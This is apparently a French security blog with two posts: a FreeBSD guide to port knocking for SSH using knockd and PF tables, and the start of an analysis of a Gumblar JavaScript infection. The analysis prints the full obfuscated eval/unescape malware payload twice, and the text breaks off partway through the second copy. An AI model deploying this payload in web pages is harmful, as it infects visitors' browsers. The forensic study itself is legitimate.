30-06-2009 01:00:05
[Secu] Port Knocking sous FreeBSD avec PF
En effet quel intérêt de laisser par exemple à découvert son port SSH sinon de se retrouver avec des logs à n'en plus finir de tentatives de brute force ?
C'est pour cela que nous allons ici le mettre en place sur FreeBSD avec la particularité de ne pas utiliser IPFW pour lequel Knockd est configuré de base mais utiliser plutot PF, le célèbre firewall d'OpenBSD :)
La grosse différence entre IPTABLES / IPFW et PF est que PF n'est pas dynamique. On ne peut ajouter une règle à la volée. Il va falloir donc utiliser un autre moyen. PF possède un système qui consiste à créer des tables et d'appliquer certaines règles à ces tables. C'est ce que nous allons faire pour notre problème.
On installe le paquet knock suivant :
(19:11:17 cloud ~) 0 $ psearch port-knocking security/knock A flexible port-knocking server and client
On crée ensuite un fichier de configuration basé sur le sample que l'on nous donne dans /usr/local/etc :
#cp /usr/local/etc/knockd.conf.sample /usr/local/etc/knockd.conf
On configure maintenant ce fichier selon nos besoin en modifiant pour utiliser la commande pfctl.
[options]
logfile = /var/log/knockd.log
interface = ath0
[openSSH]
sequence = 8000,220,8000
seq_timeout = 5
command = /sbin/pfctl -t knockssh -T add %IP%
tcpflags = syn
[closeSSH]
sequence = 3000,2365,7536
seq_timeout = 5
command = /sbin/pfctl -t knockssh -T delete %IP%
tcpflags = syn
On voit donc ici que l'on ajoute à la table knockssh l'IP obtenue et dans la 2e commande, que l'on supprime l'IP
de la table knockssh.Voyons maintenant notre configuration PF
block in log all block out log all table <knockssh> persist pass in quick proto tcp from <knockssh> to any port 22Règle toute simple : on crée une table et on laisse passer tout traffic provenant d'une IP ajoutée dans la table knockssh en direction du port 22.
Il est possible de lancer knockd en daemon mais pour tester nous allons le lancer à la main :
C19:07:50 cloud /usr/home/cloud) 0 $ sudo knockd -c /usr/local/etc/knockd.confEnsuite depuis un client on lance la commande knock sur les ports désignés dans le knockd.conf pour ouvrir le port 22 :
[user@pcclient /usr/ports/security/knock]# knock -v 88.158.21.23 8000 220 8000 hitting tcp 88.158.21.23:8000 hitting tcp 88.158.21.23:220 hitting tcp 88.158.21.23:8000On observe alors sur le serveur :
(19:08:14 cloud /usr/home/cloud) 0 $ sudo knockd -c /usr/local/etc/knockd.conf 1/1 addresses added. (00:49:04 cloud /usr/home/cloud) 0 $ sudo pfctl -t knockssh -T show 91.121.93.163 (00:49:21 cloud /usr/home/cloud) 0 $ tail /var/log/knockd.log [2009-06-30 00:49] 91.121.93.163: openSSH: Stage 1 [2009-06-30 00:49] 91.121.93.163: openSSH: Stage 2 [2009-06-30 00:49] 91.121.93.163: openSSH: Stage 3 [2009-06-30 00:49] 91.121.93.163: openSSH: OPEN SESAME [2009-06-30 00:49] openSSH: running command: /sbin/pfctl -t knockssh -T add 91.121.93.163On voit donc bien dans les logs la commande s'exécuter et l'adresse s'ajouter à la table knockssh.
Le port-knocking est je pense une très bonne technique d'obfuscation qui protégera 99% des attaques programmées que l'on trouve sur internet. De plus cela permet de voir arriver une attaque qui va créer beaucoup de logs s'ily a tentative de brute force. Par contre cela oblige à avoir un client de port knocking pour débloquer un port mais est ce vraiment un problème pour de l'administration ?
23-06-2009 19:28:52
[Secu] Etude d'une infection JavaScript Gumblar par l'exemple
On va donc ici mettre notre casquette de Sherlock Holmes et étudier une infection via le magnifique Gumblar.
Nous tombons donc sur un site avec une iframe pointant vers un site étrange contenant juste un JS. Voici son code :
<html>
<head><title>My Homepage</title></head><body>
<script>
function Jyg3s7(Nl3b98){
window.execScript(Nl3b98);
}
Jyg3s7(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return
d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new
RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return
p}('1u(1v(\'%w%H%r%g%h%k%p%r%2%s%W%15%o%1c%S%T%l%u%J%0%1%i%d%E%i%d%4%A%j%e%2%g%e%K%l%M%V%T%L%14%2%y%2%v%p%g%H%x%3%r%h%m%g%e%3%j%h%3%X%l%3%x%3%r%h%0%f%p%9%b%F%a%0%a%I%a%6%1%8%3%6%g%1%7%8%h%1%1%8%7%6%f%m%e%3%o%l%j%g%3%0%n%c%8%5%c%6%5%a%5%c%9%5%c%1%5%b%5%c%0%5%7%n%k%u%z%2%f%f%1%1%t%i%d%4%g%e%K%l%M%V%T%L%14%m%q%3%h%K%h%h%e%k%F%H%h%3%0%f%k%9%a%1%v%9%b%a%f%m%e%3%o%l%j%g%3%0%n%c%0%5%7%5%a%5%c%8%5%c%9%5%c%1%5%b%5%c%6%n%k%u%z%2%f%f%1%z%g%e%K%l%M%V%T%L%14%1%t%i%d%4%g%e%K%l%M%V%T%L%14%m%q%3%h%K%h%h%e%k%F%H%h%3%0%f%g%0%b%6%l%b%8%j%1%8%9%q%9%b%7%9%9%q%0%a%8%k%6%7%a%v%b%8%8%f%m%e%3%o%l%j%g%3%0%n%c%0%5%7%5%c%1%5%c%6%5%c%9%5%b%5%c%8%5%a%n%k%u%z%2%f%f%1%z%f%g%1%7%l%8%0%q%a%8%b%0%k%b%7%v%1%6%0%19%6%1%1q%9%0%1%1d%8%7%T%6%a%18%b%b%0%8%Y%1%1h%9%1h%0%b%18%7%9%1l%6%b%18%8%1h%9%0%K%a%0%1%S%0%8%1l%8%b%7%10%a%9%10%9%1d%7%7%L%b%9%7%1l%7%1%T%6%U%b%S%b%9%a%K%7%1%1l%1%a%L%6%8%L%9%b%Y%a%L%7%7%7%R%0%G%6%b%Y%a%a%6%1b%9%T%b%0%X%0%7%S%7%1%a%18%6%a%0%0%f%m%e%3%o%l%j%g%3%0%n%c%6%5%c%9%5%b%5%c%8%5%c%0%5%c%1%5%a%5%7%n%k%u%z%2%f%f%1%1%t%i%d%i%d%4%h%e%P%i%d%4%E%i%d%4%4%A%j%e%2%o%u%10%w%U%A%v%S%u%j%2%y%2%g%e%K%l%M%V%T%L%14%m%Y%e%3%j%h%3%W%F%I%3%g%h%0%f%x%b%q%b%O%6%6%x%7%9%l%0%1b%7%a%8%m%6%6%9%17%b%6%M%0%1a%b%1o%7%b%7%16%9%7%9%16%7%6%C%a%f%m%e%3%o%l%j%g%3%0%n%a%5%c%0%5%7%5%c%9%5%b%5%c%6%5%c%8%5%c%1%n%k%u%z%2%f%f%1%z%f%f%1%t%i%d%4%4%A%j%e%2%q%14%H%Z%J%K%1m%14%M%15%2%y%2%g%e%K%l%M%V%T%L%14%m%Y%e%3%j%h%3%W%F%I%3%g%h%0%f%12%8%6%6%s%a%0%7%b%3%9%6%6%l%8%8%0%a%l%b%1%m%8%K%a%o%a%9%o%b%0%0%8%l%1%a%8%k%6%9%g%7%7%9%j%b%6%h%8%7%k%9%1%1%p%7%r%a%a%f%m%e%3%o%l%j%g%3%0%n%b%5%c%6%5%7%5%c%1%5%c%0%5%c%9%5%c%8%5%a%n%k%u%z%2%f%f%1%z%f%f%1%t%i%d%4%4%A%j%e%2%g%l%Z%k%1f%k%U%R%2%y%2%g%e%K%l%M%V%T%L%14%m%Y%e%3%j%h%3%W%F%I%3%g%h%0%f%j%1%8%v%7%6%b%p%8%7%v%7%b%6%7%F%0%a%a%m%a%8%0%6%a%q%8%9%h%9%9%7%e%6%7%3%6%7%8%1%j%0%0%0%x%1%6%f%m%e%3%o%l%j%g%3%0%n%a%5%7%5%b%5%c%1%5%c%8%5%c%9%5%c%0%5%c%6%n%k%u%z%2%f%f%1%z%f%f%1%t%i%d%i%d%4%4%h%e%P%i%d%4%4%E%i%d%4%4%4%g%l%Z%k%1f%k%U%R%m%h%P%o%3%2%y%2%10%t%i%d%4%4%4%o%u%10%w%U%A%v%S%u%j%m%p%o%3%r%0%f%V%1%6%9%X%1%7%16%a%7%b%f%m%e%3%o%l%j%g%3%0%n%7%5%c%6%5%c%1%5%a%5%c%0%5%c%8%5%c%9%5%b%n%k%u%z%2%f%f%1%z%f%s%b%7%0%h%1%1%0%h%7%7%1%b%o%0%9%19%6%0%n%1%n%8%F%9%6%3%8%9%q%9%b%h%a%l%a%9%k%a%1%b%6%h%b%6%a%3%1%7%v%6%7%6%7%k%1%1%1%q%0%9%0%b%g%8%p%a%a%A%9%8%6%3%a%6%0%e%0%8%b%m%8%9%6%g%7%1%r%8%9%0%7%19%6%1%8%U%8%6%0%b%L%9%8%7%1%0%U%8%L%8%b%n%9%l%6%a%p%8%j%9%v%7%m%1%6%o%b%6%9%s%7%0%1%0%o%9%b%1s%6%8%k%9%b%a%0%b%v%a%8%7%y%6%L%1%b%f%m%e%3%o%l%j%g%3%0%n%c%8%5%c%9%5%c%0%5%c%1%5%c%6%5%b%5%a%5%7%n%k%u%z%2%f%f%1%z%w%j%l%q%3%1%t%i%d%4%4%4%o%u%10%w%U%A%v%S%u%j%m%q%3%r%v%0%1%t%i%d%4%4%4%g%l%Z%k%1f%k%U%R%m%p%o%3%r%0%1%t%i%d%4%4%4%g%l%Z%k%1f%k%U%R%m%1m%e%k%h%3%0%o%u%10%w%U%A%v%S%u%j%m%e%3%q%o%p%r%q%3%1q%p%v%P%1%t%i%d%4%4%4%A%j%e%2%I%18%W%o%V%R%1e%R%2%y%2%f%m%7%8%8%9%9%n%6%a%n%6%a%a%a%m%9%b%a%0%m%1%8%b%9%n%7%n%6%7%a%w%7%a%b%k%1%a%8%l%a%0%1%3%9%b%a%b%m%6%3%0%a%O%b%8%3%7%8%f%m%e%3%o%l%j%g%3%0%n%c%6%5%c%8%5%c%0%5%a%5%7%5%b%5%c%1%5%c%9%n%k%u%z%2%f%f%1%t%i%d%4%4%4%g%l%Z%k%1f%k%U%R%m%12%j%A%3%16%p%G%k%l%3%0%I%18%W%o%V%R%1e%R%z%1b%1%t%i%d%4%4%4%g%l%Z%k%1f%k%U%R%m%Y%l%p%q%3%0%1%t%i%d%4%4%D%i%d%i%d%4%4%g%j%h%g%s%0%3%1%2%E%D%i%d%i%d%4%4%h%e%P%i%d%4%4%E%i%d%4%4%4%q%14%H%Z%J%K%1m%14%M%15%m%q%s%3%l%l%3%O%3%g%H%h%3%0%I%18%W%o%V%R%1e%R%1%t%i%d%4%4%D%i%d%i%d%4%g%j%h%g%s%0%3%1%2%E%D%D%i%d%4%g%j%h%g%s%0%3%1%2%E%D%D%i%d%i%d%s%W%15%o%1c%S%T%l%u%J%0%1%t%i%d%i%d%w%H%r%g%h%k%p%r%2%x%s%u%S%1o%1b%O%v%M%s%0%1%i%d%E%i%d%4%w%p%e%0%F%q%l%I%G%1j%q%p%Z%2%y%2%1b%z%2%11%A%13%C%N%w%X%O%N%2%y%2%B%B%t%2%F%q%l%I%G%1j%q%p%Z%2%1g%y%2%1b%18%t%2%F%q%l%I%G%1j%q%p%Z%Q%Q%1%i%d%4%E%i%d%4%4%11%A%13%C%N%w%X%O%N%2%y%2%12%h%e%k%r%u%m%w%e%p%x%Y%s%j%e%Y%p%v%3%0%18%1h%2%Q%2%F%q%l%I%G%1j%q%p%Z%1%t%i%d%4%4%A%j%e%2%s%13%S%u%x%N%M%h%v%2%y%2%r%3%J%2%1p%x%j%u%3%0%1%t%i%d%4%4%s%13%S%u%x%N%M%h%v%m%q%e%g%2%y%2%B%e%3%q%19%n%n%B%2%Q%2%11%A%13%C%N%w%X%O%N%2%Q%2%B%19%c%c%B%2%Q%2%f%C%1%6%e%b%p%0%0%8%9%0%u%1%e%6%j%7%x%a%6%b%6%2%1%8%1%8%G%1%6%1%k%a%l%8%6%3%a%a%7%q%9%f%m%e%3%o%l%j%g%3%0%n%b%5%c%9%5%c%0%5%a%5%c%8%5%7%5%c%1%5%c%6%n%k%u%z%2%f%f%1%2%Q%2%B%c%c%B%2%Q%2%f%W%9%9%H%0%0%a%1%h%0%1%9%l%0%6%9%8%p%a%0%0%p%0%a%1i%0%9%8%2%6%b%X%7%O%1%o%0%1%6%a%e%a%3%b%9%q%9%q%0%0%9%f%m%e%3%o%l%j%g%3%0%n%c%6%5%c%9%5%c%0%5%7%5%b%5%c%8%5%a%5%c%1%n%k%u%z%2%f%f%1%2%Q%2%B%c%c%B%2%Q%2%f%x%9%8%6%q%0%7%a%p%7%a%b%3%8%9%b%e%6%8%3%a%a%8%q%1%b%7%6%m%0%v%b%8%l%0%b%8%l%b%f%m%e%3%o%l%j%g%3%0%n%b%5%c%6%5%c%8%5%c%1%5%a%5%c%9%5%c%0%5%7%n%k%u%z%2%f%f%1%2%Q%2%B%n%7%1b%n%10%B%t%i%d%i%d%4%4%k%w%0%s%13%S%u%x%N%M%h%v%m%s%3%k%u%s%h%2%y%y%2%1h%T%1%i%d%4%4%E%i%d%4%4%4%F%e%3%j%1i%t%i%d%4%4%D%i%d%i%d%4%4%s%13%S%u%x%N%M%h%v%2%y%2%f%f%t%i%d%4%D%i%d%i%d%4%e%3%h%H%e%r%2%11%A%13%C%N%w%X%O%N%t%i%d%D%i%d%i%d%w%H%r%g%h%k%p%r%2%J%P%1t%P%O%M%1e%r%0%H%e%l%1%i%d%E%i%d%4%A%j%e%2%11%A%13%C%N%w%X%O%N%2%y%2%x%s%u%S%1o%1b%O%v%M%s%0%1%t%i%d%4%k%w%2%0%11%A%13%C%N%w%X%O%N%2%y%y%2%f%1n%f%1%2%e%3%h%H%e%r%t%i%d%i%d%4%h%e%P%i%d%4%E%i%d%4%4%A%j%e%2%o%17%1a%x%C%1c%16%G%15%2%y%2%r%3%J%2%K%g%h%k%A%3%17%W%F%I%3%g%h%0%f%q%7%r%7%o%9%0%A%1%9%0%8%J%1%a%m%8%8%8%7%12%a%r%7%a%b%8%j%0%1%o%b%6%0%6%q%0%0%6%6%s%7%p%9%8%h%7%9%b%2%8%b%7%1%1e%0%7%k%a%1%9%3%6%7%b%J%6%9%b%3%1%0%e%a%1%8%7%2%6%7%7%Y%9%9%1%0%p%9%9%r%0%h%b%8%e%8%b%p%7%b%l%1%9%9%7%8%m%0%8%10%1%9%a%f%m%e%3%o%l%j%g%3%0%n%c%8%5%c%0%5%b%5%7%5%c%1%5%c%9%5%c%6%5%a%n%k%u%z%2%f%f%1%1%t%i%d%4%D%i%d%i%d%4%g%j%h%g%s%0%3%1%i%d%4%E%i%d%4%4%k%w%2%0%o%17%1a%x%C%1c%16%G%15%2%6%y%2%f%1n%0%0%9%p%6%F%8%a%6%7%I%6%6%3%1%g%7%6%h%1%7%b%1r%1%6%f%m%e%3%o%l%j%g%3%0%n%c%8%5%c%9%5%c%6%5%b%5%a%5%c%1%5%c%0%5%7%n%k%u%z%2%f%f%1%1%2%e%3%h%H%e%r%t%i%d%4%D%i%d%i%d%4%o%17%1a%x%C%1c%16%G%15%m%12%r%j%o%q%s%p%h%C%j%h%s%2%y%2%H%e%l%t%i%d%i%d%4%h%e%P%i%d%4%E%i%d%4%4%o%17%1a%x%C%1c%16%G%15%m%Y%p%x%o%e%3%q%q%3%v%C%j%h%s%2%y%2%11%A%13%C%N%w%X%O%N%2%Q%2%B%19%c%c%B%2%Q%2%f%C%7%9%1%8%e%b%1%0%p%1%6%0%7%u%b%6%b%1%e%8%j%1%9%7%b%x%1%6%b%2%a%8%G%0%0%a%1%k%8%8%8%0%l%a%8%0%1%3%9%6%b%q%8%9%f%m%e%3%o%l%j%g%3%0%n%a%5%b%5%c%0%5%c%8%5%7%5%c%1%5%c%9%5%c%6%n%k%u%z%2%f%f%1%2%Q%2%B%c%c%B%2%Q%2%f%W%8%0%H%7%b%h%6%8%7%l%6%p%8%0%p%1%1i%7%1%8%2%a%8%7%a%X%1%1%O%7%b%o%7%1%7%e%7%8%8%3%7%q%6%b%9%6%q%a%1%f%m%e%3%o%l%j%g%3%0%n%c%8%5%a%5%c%1%5%7%5%c%9%5%b%5%c%0%5%c%6%n%k%u%z%2%f%f%1%2%Q%2%B%c%c%B%2%Q%2%f%J%0%0%6%j%0%a%F%b%6%1%m%8%a%9%a%0%3%b%a%O%a%8%3%0%1%f%m%e%3%o%l%j%g%3%0%n%a%5%c%1%5%c%9%5%c%0%5%c%8%5%7%5%c%6%5%b%n%k%u%z%2%f%f%1%t%i%d%4%4%o%17%1a%x%C%1c%16%G%15%m%C%e%k%r%h%12%r%j%o%q%s%p%h%0%1%t%i%d%4%D%i%d%i%d%4%g%j%h%g%s%0%3%1%E%D%t%i%d%i%d%4%A%j%e%2%s%R%12%H%11%p%11%V%2%y%2%q%3%h%1p%r%h%3%e%A%j%l%0%w%H%r%g%h%k%p%r%0%1%E%k%w%2%0%o%17%1a%x%C%1c%16%G%15%m%e%3%j%v%P%12%h%j%h%3%2%y%y%2%R%1%2%E%g%l%3%j%e%1p%r%h%3%e%A%j%l%0%s%R%12%H%11%p%11%V%1%t%J%k%r%v%p%J%m%l%p%g%j%h%k%p%r%2%y%2%f%l%9%0%a%a%v%6%j%b%8%o%6%1%19%9%b%n%8%b%n%9%1%0%9%f%m%e%3%o%l%j%g%3%0%n%7%5%c%8%5%c%0%5%c%6%5%b%5%c%1%5%c%9%5%a%n%k%u%z%2%f%f%1%t%D%D%z%2%S%L%L%L%1%t%i%d%D%i%d%i%d%J%P%1t%P%O%M%1e%r%0%f%s%8%0%7%h%8%b%6%h%6%6%6%o%1%19%9%7%0%n%7%0%n%a%F%a%a%b%3%b%7%8%b%q%8%9%h%a%8%9%l%a%k%8%h%6%3%b%9%a%8%v%7%8%k%6%1%6%b%q%b%9%g%6%8%9%p%6%6%7%A%8%0%3%8%7%0%e%0%7%9%m%b%9%6%g%6%9%9%r%9%9%6%6%19%a%0%0%U%7%a%8%L%0%0%U%1%L%0%7%n%7%0%7%l%7%6%0%6%p%9%0%6%j%a%a%v%8%m%a%6%o%1%8%7%6%6%s%9%7%o%1%0%6%1s%6%a%k%b%v%7%0%6%y%7%10%b%f%m%e%3%o%l%j%g%3%0%n%c%6%5%c%1%5%a%5%c%9%5%7%5%b%5%c%8%5%c%0%n%k%u%z%2%f%f%1%1%t%d%w%H%r%g%h%k%p%r%2%1a%10%x%P%T%s%x%I%0%1%E%d%4%C%1d%G%2%y%2%r%3%J%2%K%e%e%j%P%0%B%K%g%e%p%C%1d%G%m%C%1d%G%B%z%2%B%C%1d%G%m%C%v%w%Y%h%e%l%B%1%t%d%4%w%p%e%0%k%2%k%r%2%C%1d%G%1%d%4%E%d%4%4%h%e%P%d%4%4%E%d%4%4%4%p%F%I%2%y%2%r%3%J%2%K%g%h%k%A%3%17%W%F%I%3%g%h%0%C%1d%G%1n%k%1r%1%t%d%4%4%4%k%w%2%0%p%F%I%1%d%4%4%4%E%d%4%4%4%4%v%p%g%H%x%3%r%h%m%J%e%k%h%3%0%f%1g%k%w%e%j%x%3%2%q%e%g%y%B%g%j%g%s%3%n%e%3%j%v%x%3%m%o%v%w%B%1k%1g%n%k%w%e%j%x%3%1k%f%1%t%d%4%4%4%D%d%4%4%D%d%4%4%g%j%h%g%s%0%3%1%E%D%d%4%D%d%4%h%e%P%d%4%E%d%4%4%p%F%I%2%y%2%r%3%J%2%K%g%h%k%A%3%17%W%F%I%3%g%h%0%B%12%s%p%g%1i%J%j%A%3%G%l%j%q%s%m%12%s%p%g%1i%J%j%A%3%G%l%j%q%s%B%1%t%d%4%4%k%w%2%0%p%F%I%1%d%4%4%E%d%4%4%4%v%p%g%H%x%3%r%h%m%J%e%k%h%3%0%f%1g%k%w%e%j%x%3%2%q%e%g%y%B%g%j%g%s%3%n%w%l%j%q%s%m%q%J%w%B%1k%1g%n%k%w%e%j%x%3%1k%f%1%t%d%4%4%D%d%4%D%d%4%g%j%h%g%s%0%3%1%E%D%d%D%d%1a%10%x%P%T%s%x%I%0%1%t\'));',62,94,'u0028|u0029|u0020|u0065|u0009|u007c|u0021|u0023|u005e|u0024|u0026|u0040|u005c|u000a|u0072|u0027|u0063|u0074|u000d|u0061|u0069|u006c|u002e|u002f|u0070|u006f|u0073|u006e|u0068|u003b|u0067|u0064|u0066|u006d|u003d|u002c|u0076|u0022|u0050|u007d|u007b|u0062|u0046|u0075|u006a|u0077|u0041|u0030|u004d|u0071|u0078|u0079|u002b|u0034|u0033|u0039|u0038|u0047|u004f|u0045|u0043|u004a|u0031|u007a|u0053|u0051|u0037|u0059|u0054|u0058|u0036|u003a|u004c|u0032|u005a|u0044|u0056|u0052|u003c|u0035|u006b|u004e|u003e|u002d|u0057|u005b|u0048|u0049|u0042|u005d|u003f|u0055|eval|unescape'.split('|'),0,{}))
</script>
</body>
</html>
C'est tout simplement incompréhensible. Donc nous allons commencer par traduire cela en affichant le
résultat dans une page web en remplacant le Jyg3s7 par document.write :
<html>
<head><title>My Homepage</title></head><body>
<script>
function Jyg3s7(Nl3b98){
window.execScript(Nl3b98);
}
document.write(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return
d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new
RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return
p}('1u(1v(\'%w%H%r%g%h%k%p%r%2%s%W%15%o%1c%S%T%l%u%J%0%1%i%d%E%i%d%4%A%j%e%2%g%e%K%l%M%V%T%L%14%2%y%2%v%p%g%H%x%3%r%h%m%g%e%3%j%h%3%X%l%3%x%3%r%h%0%f%p%9%b%F%a%0%a%I%a%6%1%8%3%6%g%1%7%8%h%1%1%8%7%6%f%m%e%3%o%l%j%g%3%0%n%c%8%5%c%6%5%a%5%c%9%5%c%1%5%b%5%c%0%5%7%n%k%u%z%2%f%f%1%1%t%i%d%4%g%e%K%l%M%V%T%L%14%m%q%3%h%K%h%h%e%k%F%H%h%3%0%f%k%9%a%1%v%9%b%a%f%m%e%3%o%l%j%g%3%0%n%c%0%5%7%5%a%5%c%8%5%c%9%5%c%1%5%b%5%c%6%n%k%u%z%2%f%f%1%z%g%e%K%l%M%V%T%L%14%1%t%i%d%4%g%e%K%l%M%V%T%L%14%m%q%3%h%K%h%h%e%k%F%H%h%3%0%f%g%0%b%6%l%b%8%j%1%8%9%q%9%b%7%9%9%q%0%a%8%k%6%7%a%v%b%8%8%f%m%e%3%o%l%j%g%3%0%n%c%0%5%7%5%c%1%5%c%6%5%c%9%5%b%5%c%8%5%a%n%k%u%z%2%f%f%1%z%f%g%1%7%l%8%0%q%a%8%b%0%k%b%7%v%1%6%0%19%6%1%1q%9%0%1%1d%8%7%T%6%a%18%b%b%0%8%Y%1%1h%9%1h%0%b%18%7%9%1l%6%b%18%8%1h%9%0%K%a%0%1%S%0%8%1l%8%b%7%10%a%9%10%9%1d%7%7%L%b%9%7%1l%7%1%T%6%U%b%S%b%9%a%K%7%1%1l%1%a%L%6%8%L%9%b%Y%a%L%7%7%7%R%0%G%6%b%Y%a%a%6%1b%9%T%b%0%X%0%7%S%7%1%a%18%6%a%0%0%f%m%e%3%o%l%j%g%3%0%n%c%6%5%c%9%5%b%5%c%8%5%c%0%5%c%1%5%a%5%7%n%k%u%z%2%f%f%1%1%t%i%d%i%d%4%h%e%P%i%d%4%E%i%d%4%4%A%j%e%2%o%u%10%w%U%A%v%S%u%j%2%y%2%g%e%K%l%M%V%T%L%14%m%Y%e%3%j%h%3%W%F%I%3%g%h%0%f%x%b%q%b%O%6%6%x%7%9%l%0%1b%7%a%8%m%6%6%9%17%b%6%M%0%1a%b%1o%7%b%7%16%9%7%9%16%7%6%C%a%f%m%e%3%o%l%j%g%3%0%n%a%5%c%0%5%7%5%c%9%5%b%5%c%6%5%c%8%5%c%1%n%k%u%z%2%f%f%1%z%f%f%1%t%i%d%4%4%A%j%e%2%q%14%H%Z%J%K%1m%14%M%15%2%y%2%g%e%K%l%M%V%T%L%14%m%Y%e%3%j%h%3%W%F%I%3%g%h%0%f%12%8%6%6%s%a%0%7%b%3%9%6%6%l%8%8%0%a%l%b%1%m%8%K%a%o%a%9%o%b%0%0%8%l%1%a%8%k%6%9%g%7%7%9%j%b%6%h%8%7%k%9%1%1%p%7%r%a%a%f%m%e%3%o%l%j%g%3%0%n%b%5%c%6%5%7%5%c%1%5%c%0%5%c%9%5%c%8%5%a%n%k%u%z%2%f%f%1%z%f%f%1%t%i%d%4%4%A%j%e%2%g%l%Z%k%1f%k%U%R%2%y%2%g%e%K%l%M%V%T%L%14%m%Y%e%3%j%h%3%W%F%I%3%g%h%0%f%j%1%8%v%7%6%b%p%8%7%v%7%b%6%7%F%0%a%a%m%a%8%0%6%a%q%8%9%h%9%9%7%e%6%7%3%6%7%8%1%j%0%0%0%x%1%6%f%m%e%3%o%l%j%g%3%0%n%a%5%7%5%b%5%c%1%5%c%8%5%c%9%5%c%0%5%c%6%n%k%u%z%2%f%f%1%z%f%f%1%t%i%d%i%d%4%4%h%e%P%i%d%4%4%E%i%d%4%4%4%g%l%Z%k%1f%k%U%R%m%h%P%o%3%2%y%2%10%t%i%d%4%4%4%o%u%10%w%U%A%v%S%u%j%m%p%o%3%r%0%f%V%1%6%9%X%1%7%16%a%7%b%f%m%e%3%o%l%j%g%3%0%n%7%5%c%6%5%c%1%5%a%5%c%0%5%c%8%5%c%9%5%b%n%k%u%z%2%f%f%1%z%f%s%b%7%0%h%1%1%0%h%7%7%1%b%o%0%9%19%6%0%n%1%n%8%F%9%6%3%8%9%q%9%b%h%a%l%a%9%k%a%1%b%6%h%b%6%a%3%1%7%v%6%7%6%7%k%1%1%1%q%0%9%0%b%g%8%p%a%a%A%9%8%6%3%a%6%0%e%0%8%b%m%8%9%6%g%7%1%r%8%9%0%7%19%6%1%8%U%8%6%0%b%L%9%8%7%1%0%U%8%L%8%b%n%9%l%6%a%p%8%j%9%v%7%m%1%6%o%b%6%9%s%7%0%1%0%o%9%b%1s%6%8%k%9%b%a%0%b%v%a%8%7%y%6%L%1%b%f%m%e%3%o%l%j%g%3%0%n%c%8%5%c%9%5%c%0%5%c%1%5%c%6%5%b%5%a%5%7%n%k%u%z%2%f%f%1%z%w%j%l%q%3%1%t%i%d%4%4%4%o%u%10%w%U%A%v%S%u%j%m%q%3%r%v%0%1%t%i%d%4%4%4%g%l%Z%k%1f%k%U%R%m%p%o%3%r%0%1%t%i%d%4%4%4%g%l%Z%k%1f%k%U%R%m%1m%e%k%h%3%0%o%u%10%w%U%A%v%S%u%j%m%e%3%q%o%p%r%q%3%1q%p%v%P%1%t%i%d%4%4%4%A%j%e%2%I%18%W%o%V%R%1e%R%2%y%2%f%m%7%8%8%9%9%n%6%a%n%6%a%a%a%m%9%b%a%0%m%1%8%b%9%n%7%n%6%7%a%w%7%a%b%k%1%a%8%l%a%0%1%3%9%b%a%b%m%6%3%0%a%O%b%8%3%7%8%f%m%e%3%o%l%j%g%3%0%n%c%6%5%c%8%5%c%0%5%a%5%7%5%b%5%c%1%5%c%9%n%k%u%z%2%f%f%1%t%i%d%4%4%4%g%l%Z%k%1f%k%U%R%m%12%j%A%3%16%p%G%k%l%3%0%I%18%W%o%V%R%1e%R%z%1b%1%t%i%d%4%4%4%g%l%Z%k%1f%k%U%R%m%Y%l%p%q%3%0%1%t%i%d%4%4%D%i%d%i%d%4%4%g%j%h%g%s%0%3%1%2%E%D%i%d%i%d%4%4%h%e%P%i%d%4%4%E%i%d%4%4%4%q%14%H%Z%J%K%1m%14%M%15%m%q%s%3%l%l%3%O%3%g%H%h%3%0%I%18%W%o%V%R%1e%R%1%t%i%d%4%4%D%i%d%i%d%4%g%j%h%g%s%0%3%1%2%E%D%D%i%d%4%g%j%h%g%s%0%3%1%2%E%D%D%i%d%i%d%s%W%15%o%1c%S%T%l%u%J%0%1%t%i%d%i%d%w%H%r%g%h%k%p%r%2%x%s%u%S%1o%1b%O%v%M%s%0%1%i%d%E%i%d%4%w%p%e%0%F%q%l%I%G%1j%q%p%Z%2%y%2%1b%z%2%11%A%13%C%N%w%X%O%N%2%y%2%B%B%t%2%F%q%l%I%G%1j%q%p%Z%2%1g%y%2%1b%18%t%2%F%q%l%I%G%1j%q%p%Z%Q%Q%1%i%d%4%E%i%d%4%4%11%A%13%C%N%w%X%O%N%2%y%2%12%h%e%k%r%u%m%w%e%p%x%Y%s%j%e%Y%p%v%3%0%18%1h%2%Q%2%F%q%l%I%G%1j%q%p%Z%1%t%i%d%4%4%A%j%e%2%s%13%S%u%x%N%M%h%v%2%y%2%r%3%J%2%1p%x%j%u%3%0%1%t%i%d%4%4%s%13%S%u%x%N%M%h%v%m%q%e%g%2%y%2%B%e%3%q%19%n%n%B%2%Q%2%11%A%13%C%N%w%X%O%N%2%Q%2%B%19%c%c%B%2%Q%2%f%C%1%6%e%b%p%0%0%8%9%0%u%1%e%6%j%7%x%a%6%b%6%2%1%8%1%8%G%1%6%1%k%a%l%8%6%3%a%a%7%q%9%f%m%e%3%o%l%j%g%3%0%n%b%5%c%9%5%c%0%5%a%5%c%8%5%7%5%c%1%5%c%6%n%k%u%z%2%f%f%1%2%Q%2%B%c%c%B%2%Q%2%f%W%9%9%H%0%0%a%1%h%0%1%9%l%0%6%9%8%p%a%0%0%p%0%a%1i%0%9%8%2%6%b%X%7%O%1%o%0%1%6%a%e%a%3%b%9%q%9%q%0%0%9%f%m%e%3%o%l%j%g%3%0%n%c%6%5%c%9%5%c%0%5%7%5%b%5%c%8%5%a%5%c%1%n%k%u%z%2%f%f%1%2%Q%2%B%c%c%B%2%Q%2%f%x%9%8%6%q%0%7%a%p%7%a%b%3%8%9%b%e%6%8%3%a%a%8%q%1%b%7%6%m%0%v%b%8%l%0%b%8%l%b%f%m%e%3%o%l%j%g%3%0%n%b%5%c%6%5%c%8%5%c%1%5%a%5%c%9%5%c%0%5%7%n%k%u%z%2%f%f%1%2%Q%2%B%n%7%1b%n%10%B%t%i%